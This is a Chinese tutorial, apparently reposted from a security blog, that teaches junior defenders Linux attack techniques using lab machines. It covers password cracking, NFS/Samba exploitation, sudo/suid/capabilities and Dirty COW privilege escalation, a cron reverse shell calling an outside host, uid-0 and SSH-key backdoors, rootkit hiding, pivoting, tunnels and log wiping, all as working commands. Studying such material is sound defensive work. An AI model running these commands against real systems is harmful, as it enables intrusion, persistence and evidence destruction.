Linux系统安全攻防技术

所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确。

针对Linux系统的一些攻击

一、前言

本系列文档包括三个部分,分别是《针对Linux系统的攻击》、《Linux系统安全加固》和《Linux系统入侵排查》。编写这些文档的目的,是从攻和防的角度分别对Linux系统相关的安全技术进行介绍,使初级水平的网络安全从业者对Linux操作系统的脆弱性检查、安全加固、应急响应等安全服务工作产生更清晰的认识。

本文是系列文档的第一部分,介绍针对Linux系统的攻击方法。正所谓“未知攻,焉知防”,要掌握Linux系统的安全防护技术,必须了解基本的攻击技术,知道黑客在攻击的时候会做哪些事情,才好有针对性地进行防御。

二、针对Linux系统进行攻击

本文所涉及到的针对Linux系统的攻击方式包括以下这些:

  • 暴力破解
  • 服务漏洞
  • 权限提升
  • 文件传输
  • 木马后门
  • rootkit
  • 端口转发和socks代理
  • 隐蔽信道
  • 物理攻击
  • 痕迹清理

下面分别进行介绍。

(一)暴力破解

暴力破解在这里主要是针对Linux系统的账号和口令进行离线攻击或在线攻击。

所谓的离线攻击是指攻击者拿到了口令文件,也就是/etc/passwd和/etc/shadow文件,在攻击者本地进行破解。而在线攻击是指攻击者远程对Linux系统的服务如ssh、telnet等进行口令破解,不断地尝试登录,根据服务器返回的信息来判断正在尝试的口令是否正确。

1. 离线攻击

离线攻击所使用的工具有很多,最常用的有两个,一个是John the ripper,另一个是hashcat。这两个工具都在kali linux的软件安装源里面,所以都可以在线安装。另外Linux系统管理员也可以使用john the ripper在对Linux系统进行脆弱性检查的时候确定自己的系统中是否存在弱口令。

例子:使用John The Ripper对Ubuntu 1604系统的口令文件进行字典攻击

//攻击者在本地安装john the ripper

apt install john

//下载目标系统的/etc/passwd和/etc/shadow文件到本地 ,使用unshadow合并这两个文件。unshadow是john软件包中的一个程序

/usr/sbin/unshadow passwd shadow > /tmp/crack.password.db

//使用默认的口令字典开始破解(/usr/share/john/password.lst)

john /tmp/crack.password.db

Linux系统安全攻防技术

可以看到,得到了root和user1用户的口令。

//也可以指定其它字典文件进行破解

john /tmp/crack.password.db –wordlist /word/list/file

2. 在线攻击

Linux平台用于远程破解口令的软件比较常用的有hydra和nmap。

例子:使用hydra对本地系统进行远程口令破解

//使用hydra,通过telnet服务对本地的user1用户的口令进行破解,指定使用john的口令字典文件

hydra -l user1 -P /usr/share/john/password.lst 127.0.0.1 telnet

-l //指定用户名,若不知道用户名泽需要指定用户名字典

-P //指定口令字典文件

127.0.0.1 //指定目标IP地址

telnet //指定目标服务

Linux系统安全攻防技术

破解成功,得到了user1用户的口令:123456。同样,root用户的口令也可以破解出来,这里不再赘述。

(二)攻击服务漏洞

Linux系统中可能部署了各种服务,如果软件存在漏洞或者服务存在错误的配置,则很可能被攻击者利用。例如NFS服务和samba服务:

NFS:

如果导出资源的范围过大并且权限过高,则存在风险。例如导出了根文件系统并允许读写,则攻击者可将ssh公钥写入ssh授权文件,行程ssh证书后门,实现非授权访问。

samba:

版本:Samba3.x,共享目录可写并允许wide links,则攻击者可以访问目标主机的根文件系统并得到shell。

1. 攻击NFS服务的漏洞

例子,攻击者将自己的公钥文件写入目标Linux系统(metasploitable 2)的NFS共享

//攻击者在本地创建临时目录

mkdir /tmp/r00t

//在目标服务器的NFS服务存在错误配置的情况下,攻击者将该服务器通过NFS服务共享出来的根目录挂载到刚创建的临时目录

mount -o nolock -t nfs remote_ip:/ /tmp/r00t

//攻击则会将自己的公钥文件通过NFS共享写入到目标主机的ssh授权文件中,这样就形成了ssh证书后门

cat /root/.ssh/id_rsa.pub >> /tmp/r00t/root/.ssh/authorized_keys

//之后攻击者即可通过证书访问目标系统的ssh服务

ssh root@remote_ip

2. 攻击Samba服务的漏洞

例如在metapsloitable2靶机中,samba服务存在漏洞,导致攻击者可以得到靶机的shell。

use exploit/multi/samba/usermap_script

set rhost remote_ip

exploit

Linux系统安全攻防技术

得到shell。

(三)权限提升

权限提升的方法很多,主要介绍四种方法:内核漏洞提权、sudo提权、suid提权和capabilities提权。提权的主要目的是实现对目标系统更大程度的控制,提权所使用的技术也可以作为后门来使用。

1. 内核漏洞提权

通过内核漏洞进行提权的方法很多,这里介绍脏牛(dirty-cow)漏洞提权。

例子:Linux系统(metasploitable 2)通过脏牛漏洞提权

(1) 获取源代码

//登录目标系统:

ssh user1@target_ip

EXP下载地址:https://github.com/FireFart/dirtycow

(2) 提权

//在目标系统中编译源代码,生成可执行文件,名为dirty

gcc -pthread dirty.c -o dirty -lcrypt

//运行dirty程序开始提权

./dirty abcd1234 //指定口令

Linux系统安全攻防技术

提权的准备已经完成了,可以看到/etc/passwd文件已经变成了二进制文件。接下来就可以切换到root身份了。

su – firefart //切换到firefart用户,输入前面设置的口令

Linux系统安全攻防技术

从图中可以看到,用户的uid为0,提权成功了。

2. sudo提权

推荐阅读:《CentOS 7系统配置sudo策略(附sudo提权演示)》

https://www.freebuf.com/articles/system/243526.html

该文章介绍了sudo提权的方法。

例子:Linux系统(metasploitable 2)通过sudo提升权限

//查看当前用户允许通过sudo执行的命令

sudo -l

Linux系统安全攻防技术

从sudo -l的返回结果来看,系统允许以sudo的方式执行awk、less、vim这三个命令。

//sudo awk提权

sudo awk ‘BEGIN {system(“/bin/bash”)}’

Linux系统安全攻防技术

sudo awk提权成功,得到了root shell。

//sudo less提权

sudo less /etc/lsb-release

Linux系统安全攻防技术

在less的底部输入!/bin/bash,可以看到提权成功,得到了root shell。

//sudo vim提权

sudo vim -c ‘!bash’

Linux系统安全攻防技术

提权成功,得到了root shell。

3. suid提权

推荐阅读:《CentOS 7系统利用suid提权获取Root Shell》

https://www.freebuf.com/articles/system/244627.html

该文章较详细地介绍了suid提权获取root shell的方法。

例子:Linux系统(metasploitable 2)通过suid程序提升权限

//使用find命令在系统中查找具有suid标志位的文件

find / -perm -u=s -type f 2>/dev/null

假设攻击者找到了find、nmap、more这三个可执行文件设置了suid,那么下面尝试进行提权。

//使用带有suid的find命令进行提权

find . -exec /bin/sh -p ; -quit

Linux系统安全攻防技术

使用find命令进行提权。查看看到,find命令通过exec参数创建了一个子进程,这个子进程的euid为0,因此这个子进程是一个root shell。

//使用带有suid的nmap命令进行提权

echo “os.execute(‘/bin/bash -p’)” > /tmp/shell.nse

nmap –script=/tmp/shell.nse 127.0.0.1

Linux系统安全攻防技术

得到了root shell。这个root shell有个特点,就是看不到输入的命令,只能看到执行的结果。

//使用带有suid的more命令进行提权

more /etc/profile

//在底行输入

!/bin/sh -p

Linux系统安全攻防技术

可以看到,也得到了root shell。使用more打开的必须是一个在当前屏幕中无法完全显示的文件,这样才会出现底行,提示显示的百分比,攻击者才能输入!/bin/sh -p

4. capabilities提权

推荐阅读:Linux系统利用可执行文件的Capabilities实现权限提升

https://www.freebuf.com/articles/system/251182.html

capabilities的作用是提供一种与suid相比更细粒度的控制,在执行特权操作的时候,如果进程或线程的euid不是root,那么系统就检查该线程是否具有该特权操作对应的capability,如果具有,才能执行特权操作。就像是把suid分成了很多份,需要的时候给你其中一份,其它份不给。

例如,在安装wireshark软件后,默认情况下普通用户无法对网卡实施抓包操作。这是因为普通用户不具备抓包操作的权限。

wireshark给出的方法是,将当前用户加入wireshark组:

Linux系统安全攻防技术

但是也可以为wireshark的抓包程序/usr/bin/dumpcap授予用于抓包操作的capabilities。授予权限之后之后普通用户就可以进行抓包操作了:

setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap

Linux系统安全攻防技术

例子:Linux系统(CentOS 7)通过带有capabilities的程序提权

//查找设置了capabilities的程序

getcap -r / 2>/dev/null

Linux系统安全攻防技术

首先要在系统中查找设置了capabilities的程序。其中设置了cat_setuid的capability的程序存在提权的可能性。常见的可以通过cap_setuid的capability提权的程序包括gdb、perl、python、php、ruby、rvim、vim、tar等。

//通过gdb提权

gdb -nx -ex ‘python import os; os.setuid(0)’ -ex ‘!sh’ -ex quit

Linux系统安全攻防技术

提权成功,得到了root shell。

(四)文件传输

1. 将文件上传到目标Linux

例子,使用下面的命令将文件从远程主机上传到目标Linux服务器:

第一步,远程主机创建测试文件并监听端口

echo “get by bash.” > bash.sent

nc -l -p 12345 < bash.sent

Linux系统安全攻防技术

第二步,目标Linux服务器使用bash连接远程主机并获取文件

bash -c ‘cat < /dev/tcp/192.168.43.237/12345 > bash.get’

Linux系统安全攻防技术

文件传输成功。

2. 从目标Linux系统下载文件

例子,使用下面的命令将目标Linux系统的文件下载到远程主机:

第一步,远程主机监听12345端口

nc -l -p 12345 > bash.get

第二步,Linux服务器创建测试文件并使用bash将文件传输到远程主机

echo “sent by bash.” > bash.sent

bash -c ‘cat bash.sent > /dev/tcp/192.168.43.237/12345’

Linux系统安全攻防技术

第三步,远程主机查看接收到的文件

Linux系统安全攻防技术

文件传输成功。

(五)木马后门

后门的种类很多,例如下面这些:

  • uid为0的账户
  • crontab后门
  • ssh证书后门
  • ssh服务后门
  • ssh客户端后门
  • systemd服务后门

推荐阅读:《Linux系统后门初步研究》

https://www.freebuf.com/articles/system/259494.html

该文章介绍了一些Linux系统后门的创建方法。

在本文档中,分别对uid为0的账户、crontab后门和ssh证书后门进行介绍。

1. 创建uid为0的后门账户

//创建用户账户,指定账户的uid为0

useradd -o -u 0 hack1

//设置口令

passwd hack1

Linux系统安全攻防技术

首先在系统中创建一个后门账户,该账户的uid设置为0,也就是说,创建一个超级用户。

注意,这个账户受到ssh服务配置的影响。如果sshd_config文件中设置PermitRootLogin为no,那么,这个hack1用户是无法远程登录的,虽然他的用户名不是root。

2. 创建crontab后门

//在被攻击机器上,以root身份编辑crontab

crontab -e -u root

*/1 * * * * /bin/nc -e /bin/bash 192.168.242.1 5555

保存退出

//攻击者监听本地端口,得到反弹shell

nc -l -p 5555

Linux系统安全攻防技术

3. 创建ssh证书后门

//攻击者创建公私密钥对

ssh-keygen -t rsa

//攻击者将公钥复制到目标主机

ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.242.132

//攻击者使用证书登录目标主机

ssh root@192.168.242.132

Linux系统安全攻防技术

输入密钥短语即可登录。

这样即使目标主机更改了root口令,只要证书还在目标主机上,攻击者就可以远程登录。

(六)rootkit

1. rootkit是什么?

根据百度百科的解释,rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit和木马、后门等其他恶意程序结合使用。也就是说,用rootkit去隐藏木马所使用的文件、进程、网络连接等。

2. 安装rootkit

下面我们举个例子,在CentOS 6.5系统中使用LKM(loadable kernel module)后门adore-ng提升权限、隐藏进程和文件。

首先将adore-ng下载到目标主机,解压缩,进入解压缩后的目录

//编译

make -j 4

//插入内核模块。

insmod adore-ng.ko

//将rootkit程序复制到临时目录

cp -r /home/user1/adore-ng-master /tmp/

//修改权限

chmod -R 777 /tmp/adore-ng-master

//进入目录

cd /tmp/adore-ng-master

//查看帮助

./ava

Linux系统安全攻防技术

进入/tmp下的adore-ng目录,运行目录中的ava,这是一个可执行程序,在不加任何参数的情况下显示帮助信息。从帮助信息中可以看到,这个软件可以做以下的事情:

隐藏文件、提权为root、隐藏进程(make PID invisible)。

3. 使用rootkit进行提权

/tmp/adore-ng-master/ava r cat /etc/shadow | grep root

Linux系统安全攻防技术

user1用户正常情况下无法查看shadow文件的内容,但是使用adore-ng的ava,就可以实现提权,可以查看shadow文件的内容。如果执行的是/bin/bash,那么可以得到一个root shell。

4. 使用rootkit隐藏进程

cd /opt/hack

//查看需要被隐藏的那个进程的源码。实际上这是一个shell脚本,它的功能是通过无限循环,将This is the virus写入文件file.txt。

cat hack.sh

Linux系统安全攻防技术

//以root身份在后台运行hask.sh

hack.sh &

Linux系统安全攻防技术

hack.sh脚本在后台运行后,其PID为2734。可以在ps命令的结果中看到这个进程。

//应用rootkit的功能,隐藏PID为2734的进程

/tmp/adore-ng-master/ava i 2734

Linux系统安全攻防技术

进程隐藏成功,看不到2734进程了,也查不到名称中含有hack.sh的进程。该进程在ps命令中被隐藏。

5. 使用rootkit隐藏文件

//现在我们使用h参数,来隐藏hack.sh所生成的file.txt这个文件。

/tmp/adore-ng-master/ava h file.txt

Linux系统安全攻防技术

可以看到,使用ls命令,即使加上用于显示隐藏文件的-a参数,也看不到file.txt了。

(七)转发和代理

攻击者入侵linux系统后,可通过修改路由表、设置iptables、部署端口转发和socks代理软件等方式,将被入侵系统作为跳板,进一步入侵目标系统所在内网的其它机器。

1. 端口转发

例子,通过设置iptables,将目标Linux系统作为跳板机访问内网机器(metasploitable 2)

(1) 跳板机操作

//被攻击系统启用ip转发

echo 1 > /proc/sys/net/ipv4/ip_forward

//被攻击系统创建iptables转发规则,将去往192.168.1.8的2222端口的数据包转发到192.168.1.7的22端口

iptables -t nat -A PREROUTING -p tcp -d 192.168.1.8 –dport 2222 -j DNAT –to 192.168.1.7:22

//被攻击系统启用地址转换

iptables -t nat -A POSTROUTING -j MASQUERADE

(2) 攻击者本地操作

//攻击者访问被攻击系统(跳板机)的2222端口

ssh -p 2222 root@192.168.1.8

Linux系统安全攻防技术

可以访问到内网机metasploitable 2的ssh服务。说明端口转发成功。

2. socks代理

推荐阅读:《内网渗透:使用ew实现socks代理》

https://www.freebuf.com/sectool/234254.html

例子,将earthworm作为socks代理使攻击者访问内网计算机

场景描述:攻击者(192.168.1.7)位于外网,无法访问目标网络内部的主机。但是攻击者可以访问目标网络中对外暴露的服务器(192.168.1.8),这台服务器拥有内网IP地址(192.168.56.113),可以访问内网机器。

攻击链路:攻击者以服务器(192.168.1.8)为跳板,攻击内网机器(192.168.56.101)。

攻击方法如下:

(1) 跳板机操作

//攻击者以某种手段控制了被攻击系统后,将ew_for_linux传到被攻击系统,并将文件改名。

mv ew_for_linux ew

//在8888端口上开启socks代理,ssocksd提供正向代理功能

./ew -s ssocksd -l 8888

Linux系统安全攻防技术

ew开始监听端口了。此时被攻击系统已成为跳板机。可以看到截图中当前用户是root,实际上监听1024以上的端口无需root权限,普通用户即可。攻击者连接到跳板机的8888端口之后,跳板机根据本机的路由表配置,将访问者的数据包从适当的网口转发出去。转发之后,包的源地址会被修改为这个出口的IP地址。

注意,在linux跳板机上转发数据包,内核的IP转发功能是需要开启的。

(2) 攻击者本地运行全局代理

以proxychains为例,说明全局代理的用法:

apt install proxychains //安装proxychains

vi /etc/proxychains.conf //配置proxychains

将最后一行的socks4注释掉,添加下面的行,端口为跳板机上的ew监听的8888:

socks5 192.168.1.8 8888

保存退出

proxychains telnet 192.168.56.101 //通过socks代理访问目标机

Linux系统安全攻防技术

登录成功。也就是说,只要能访问到跳板机上ew代理程序的监听端口,就可以访问对跳板机来说路由可达的主机。

(3) 验证

在目标机抓包,可以看到访问者的地址是跳板机的地址(192.168.56.113),也就是说,socks代理的工作是正常的。

Linux系统安全攻防技术

(八)隐蔽信道

网络协议信息隐藏(协议隐写)是一种利用数据包作为掩护载体,将秘密信息隐匿在网络协议的数据包之中的信息隐藏技术,它可以通过网络协议数据包中的保留、可选、未定义等字段和数据包的顺序、数量、到达时间、特定时间流量以及其它可被利用的特征,在网络中不同的主机之间建立隐蔽信道。

下面举个例子,使用httptunnel建立基于http协议的隐蔽信道。

1. 服务端启动监听

软件分为服务端(hts)和客户端(htc)两部分,分别进行如下的操作以实现隐蔽隧道:

//启动ssh服务

systemctl start ssh

//服务端程序hts监听本机的80端口,将接收到的数据转发给监听22端口的程序

hts –forward-port localhost:22 80

2. 客户端建立连接

//客户端将发给本地900端口的数据包转发到服务端(10.42.0.1)的80端口

htc –forward-port 900 10.42.0.1:80

//客户端使用ssh程序访问本地的900端口

ssh user1@127.0.0.1 -p 900

之后可以成功连接10.42.0.1的ssh服务

3. 验证

//在客户端ssh程序中执行命令,之后在服务器端抓包

tcpdump -i 网络接口

Linux系统安全攻防技术

只抓到了http协议包,没有抓到ssh协议的任何数据,说明ssh协议数据被成功封装到了http包中,隐蔽隧道建立成功。

(九)物理攻击

例如在CentOS 7系统中,如果能够以物理方式访问服务器,则可以通过下面的方法获得root权限:

//物理方式关闭服务器,之后打开电源,进入内核选择界面:

Linux系统安全攻防技术

//按e键,进入编辑模式。

在kernel引导行所在参数行尾添加以下内容init=/bin/sh(注意空格):

Linux系统安全攻防技术

修改成:

linux16 /vmlinuz-3.10.0-327.el7.x86_64 root=/dev/mapper/centos-root ro

crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=

en_US.UTF-8 init=/bin/sh

//按下ctrl-x,进入单用户模式:

Linux系统安全攻防技术

//挂载根分区为可读写模式。挂载后即可访问该系统中的资源了

mount -o remount,rw /

//如果想以多用户模式进入操作系统,可修改root口令

passwd 用户名

或者创建一个uid为0的账户并设置口令

//重启服务器,输入帐号口令后进入系统。

exec /sbin/reboot

(十)痕迹清理

1. 清除命令历史

//清空用户的命令历史文件

echo > ~user1/.bash_history

//清空内存中的历史列表

history -c

//保留前150行

sed -i ‘150,$d’ .bash_history

2. 删除访问日志

//清空ssh登录成功和失败的日志

echo > /var/log/secure

//清除含有自己IP地址的日志

sed -i ‘/192.168.242.1/d’ /var/log/secure

3. 修改文件时间

//修改创建时间和访问时间

touch -d “2019-01-01 08:10:30” /path/to/malware

//复制正常文件的时间属性给攻击者部署的恶意文件

touch -r /etc/yum.conf /path/to/malware

4. 彻底删除文件

(1) wipe

wipe -rfi private/*

-r:递归删除,-f:强制删除并禁用确认查询,-i:显示擦除进度

(2) shred

find ./dir-name -type f -exec shred -zvu -n 3 {} ;

-z:用0覆盖,-v:显示操作进度,-u:覆盖后截断文件并删除

-n:指定覆盖文件内容的次数,默认3次

说明

Linux系统中使用rm命令删除的只是文件的硬链接,文件的内容还存放在文件系统中,使用数据恢复软件就可以将文件恢复出来。攻击者需要使用特定的安全删除软件来彻底地删除文件。这些安全删除软件用0或者随机数字反复多次地覆盖被删除文件所占用的磁盘区域,从而使该文件无法被恢复。

三、总结

本文简单介绍了针对Linux系统的攻击方法,在下一篇文章中,将介绍防御这些攻击方法而采取的安全加固

内容出处:,

声明:本网站所收集的部分公开资料来源于互联网,转载的目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。如果您发现网站上有侵犯您的知识产权的作品,请与我们取得联系,我们会及时修改或删除。文章链接:http://www.yixao.net/soft/24287.html

发表评论

登录后才能评论